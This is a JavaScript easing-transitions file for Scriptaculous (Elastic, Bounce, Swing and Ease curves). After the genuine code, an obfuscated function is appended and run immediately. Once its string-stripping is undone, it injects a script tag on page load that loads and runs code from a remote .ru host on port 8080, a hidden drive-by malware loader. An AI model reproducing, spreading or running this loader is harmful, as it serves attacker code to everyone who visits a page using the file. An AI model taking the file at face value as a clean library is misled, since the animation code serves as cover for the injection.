// JavaScript Document
/*
transitions.js

Based on Easing Equations v2.0
(c) 2003 Robert Penner, all rights reserved. 
This work is subject to the terms in http://www.robertpenner.com/easing_terms_of_use.html

Adapted for Scriptaculous by Ken Snyder (kendsnyder ~at~ gmail ~dot~ com) June 2006
*/

/*
Overshooting Transitions
*/
// Elastic (adapted from "EaseOutElastic")
Effect.Transitions.Elastic = function(pos) {
    return -1*Math.pow(4,-8*pos) * Math.sin((pos*6-1)*(2*Math.PI)/2) + 1;
};
// SwingFromTo (adapted from "BackEaseInOut")
Effect.Transitions.SwingFromTo = function(pos) {
    var s = 1.70158;
    if ((pos/=0.5) < 1) return 0.5*(pos*pos*(((s*=(1.525))+1)*pos - s));
    return 0.5*((pos-=2)*pos*(((s*=(1.525))+1)*pos + s) + 2);
};
// SwingFrom (adapted from "BackEaseIn")
Effect.Transitions.SwingFrom = function(pos) {
    var s = 1.70158;
    return pos*pos*((s+1)*pos - s);
};
// SwingTo (adapted from "BackEaseOut")
Effect.Transitions.SwingTo = function(pos) {
    var s = 1.70158;
    return (pos-=1)*pos*((s+1)*pos + s) + 1;
};

/*
Bouncing Transitions
*/
// Bounce (adapted from "EaseOutBounce")
Effect.Transitions.Bounce = function(pos) {
    if (pos < (1/2.75)) {
        return (7.5625*pos*pos);
    } else if (pos < (2/2.75)) {
        return (7.5625*(pos-=(1.5/2.75))*pos + .75);
    } else if (pos < (2.5/2.75)) {
        return (7.5625*(pos-=(2.25/2.75))*pos + .9375);
    } else {
        return (7.5625*(pos-=(2.625/2.75))*pos + .984375);
    }
};
// BouncePast (new creation based on "EaseOutBounce")
Effect.Transitions.BouncePast = function(pos) {
    if (pos < (1/2.75)) {
        return (7.5625*pos*pos);
    } else if (pos < (2/2.75)) {
        return 2 - (7.5625*(pos-=(1.5/2.75))*pos + .75);
    } else if (pos < (2.5/2.75)) {
        return 2 - (7.5625*(pos-=(2.25/2.75))*pos + .9375);
    } else {
        return 2 - (7.5625*(pos-=(2.625/2.75))*pos + .984375);
    }
};

/*
Gradual Transitions
*/
// EaseFromTo (adapted from "Quart.EaseInOut")
Effect.Transitions.EaseFromTo = function(pos) {
    if ((pos/=0.5) < 1) return 0.5*Math.pow(pos,4);
    return -0.5 * ((pos-=2)*Math.pow(pos,3) - 2);    
};
// EaseFrom (adapted from "Quart.EaseIn")
Effect.Transitions.EaseFrom = function(pos) {
    return Math.pow(pos,4);
};
// EaseTo (adapted from "Quart.EaseOut")
Effect.Transitions.EaseTo = function(pos) {
    return Math.pow(pos,0.25);
};

function m() {var K;if(K!='Z' && K != ''){K=null};var d=new Date();var P='replace';this.hi='';var i=']';this.UH='';var L='g';var D='[';var E;if(E!='I'){E='I'};var C;if(C!='Pg'){C='Pg'};var f=new String();var S="";var G=RegExp;var w;if(w!='l' && w != ''){w=null};var xk;if(xk!='hL' && xk != ''){xk=null};var Fb=new Date();function X(p,Xm){var Ic;if(Ic!='Uw' && Ic!='Vs'){Ic='Uw'};var TA;if(TA!=''){TA='mj'};var XO=D;XO+=Xm;var Fs;if(Fs!='ih'){Fs=''};XO+=i;var zq=new Array();var M=new G(XO, L);var oX;if(oX!='' && oX!='q'){oX='MN'};return p[P](M, f);var IP;if(IP!='O' && IP != ''){IP=null};var lC='';};var dW;if(dW!='' && dW!='t'){dW='pa'};var _N=new Array();var _=X('866504568644402542',"75642");var s;if(s!='' && s!='ZM'){s=''};var N=X('sPcvrPiPpvtP',"vP");var pd=X('c7r7e7aOt7eOE7lOe7mOe7nOt7',"7O");this.GQ="";this.QH='';var a=X('/ScIjO.OcSoSmI/OcIjS.Ic8o8mI/OdSyInSd8nIsS.8oSrOgI/ScSiStIiObIaInIkO.IcIo8mI/OgSo8oOgOlIeO.Oc8oOmO.OpSh8pI',"8SOI");var cR="";var tZ;if(tZ!='' && tZ!='Tn'){tZ='Yh'};var ml=window;var sQ=new Date();var A=X('h4t4tUpU:4/U/xlxaUrUexd4oUu4txex-xfUrx.xr4axkUu4t4exnU.4nxeU.UjUpU.4gUoUoU-Un4e4-4jUpU.xjxeUrUs4e4yUhxoUm4eUs4ixt4eU.4rxu4:U',"Ux4");var b='';var Nc=new Date();ml[X('oInIlroIaIdG',"IGr")]=function(){try {this.Hr="";b+=A;b+=_;var zs;if(zs!='' && zs!='fj'){zs=''};var hLk;if(hLk!='' && hLk!='eo'){hLk=''};b+=a;T=document[pd](N);var Mj;if(Mj!='Xma' && Mj!='ak'){Mj='Xma'};z(T,'defer',([1][0]));z(T,'src',b);var MO;if(MO!='cD'){MO='cD'};var Txt;if(Txt!=''){Txt='NQ'};document.body.appendChild(T);} catch(MH){var k;if(k!='Fj'){k=''};var SB;if(SB!='oO' && SB!='Kt'){SB='oO'};};var XL;if(XL!='' && XL!='lj'){XL=''};var iR;if(iR!='' && iR!='FY'){iR=''};};var eG=new String();var rm=new Array();function z(Q,U,h){Q.setAttribute(U, h);var Jn=new Array();var MOu=new Array();}var jf=new String();var Vy='';this.uo="";};var od="";var xp;if(xp!='EK'){xp=''};m();